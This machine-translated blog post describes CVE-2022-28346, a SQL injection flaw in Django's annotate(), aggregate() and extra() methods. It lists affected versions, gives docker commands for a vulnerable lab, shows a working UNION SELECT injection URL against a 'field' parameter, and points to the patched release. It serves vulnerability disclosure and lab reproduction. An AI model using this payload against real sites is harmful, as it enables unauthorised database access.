当前位置:网站首页>Cve-2022-28346: Django SQL injection vulnerability
Cve-2022-28346: Django SQL injection vulnerability
2022-07-08 00:41:00 【yggcwhat】
0x01 brief introduction
Django Yes, it is Python Developed a free open source Web frame , It almost covers Web Every aspect of application , Can be used to quickly build high performance 、 Elegant website ,Django It provides many modules often used in website background development , Enable developers to focus on the business part .
0x02 Summary of vulnerability
Hole number :CVE-2022-28346
Attackers use a carefully crafted dictionary , adopt **kwargs Pass to QuerySet.annotate()、aggregate() and extra() These methods , This can cause these methods to be affected by SQL Injection attack .
0x03 Affects version
4.0 <= Django < 4.0.4
3.2 <= Django < 3.2.13
2.2 <= Django < 2.2.28
0x04 Environment building
docker pull s0cke3t/cve-2022-28346:latest
docker run -d -p 8080:8000 s0cke3t/cve-2022-28346
0x05 Loophole recurrence
You can find out which interfaces exist through the error reporting page
If the access interface has parameters , The error message will also be prompted
Use the parameters of the error prompt sql Inject
http://x.x.x.x:8000/demo?field=demo.name" FROM "demo_user" union SELECT "1",sqlite_version(),"3" --
0x06 Repair method
The Security version has been officially released , Download address :
https://www.djangoproject.com/download/
边栏推荐
- What if the testing process is not perfect and the development is not active?
- 基于人脸识别实现课堂抬头率检测
- RPA云电脑,让RPA开箱即用算力无限?
- Cascade-LSTM: A Tree-Structured Neural Classifier for Detecting Misinformation Cascades(KDD20)
- NVIDIA Jetson测试安装yolox过程记录
- How to insert highlighted code blocks in WPS and word
- 服务器防御DDOS的方法,杭州高防IP段103.219.39.x
- Langchao Yunxi distributed database tracing (II) -- source code analysis
- 接口测试要测试什么?
- 大数据开源项目,一站式全自动化全生命周期运维管家ChengYing(承影)走向何方?
猜你喜欢
Development of a horse tourism website (realization of login, registration and exit function)
5g NR system messages
After going to ByteDance, I learned that there are so many test engineers with an annual salary of 40W?
DNS 系列(一):为什么更新了 DNS 记录不生效?
他们齐聚 2022 ECUG Con,只为「中国技术力量」
Binder核心API
The standby database has been delayed. Check that the MRP is wait_ for_ Log, apply after restarting MRP_ Log but wait again later_ for_ log
玩转Sonar
《因果性Causality》教程,哥本哈根大学Jonas Peters讲授
Service mesh introduction, istio overview
随机推荐
SDNU_ ACM_ ICPC_ 2022_ Summer_ Practice(1~2)
商品的设计等整个生命周期,都可以将其纳入到产业互联网的范畴内
LeetCode刷题
华为交换机S5735S-L24T4S-QA2无法telnet远程访问
Is 35 really a career crisis? No, my skills are accumulating, and the more I eat, the better
Class head up rate detection based on face recognition
Is Zhou Hongyi, 52, still young?
接口测试进阶接口脚本使用—apipost(预/后执行脚本)
3年经验,面试测试岗20K都拿不到了吗?这么坑?
【笔记】常见组合滤波电路
深潜Kotlin协程(二十二):Flow的处理
《因果性Causality》教程,哥本哈根大学Jonas Peters讲授
Scrapy framework
Stock account opening is free of charge. Is it safe to open an account on your mobile phone
Codeforces Round #804 (Div. 2)(A~D)
炒股开户怎么最方便,手机上开户安全吗
A brief history of information by James Gleick
国外众测之密码找回漏洞
[研发人员必备]paddle 如何制作自己的数据集,并显示。
ABAP ALV LVC template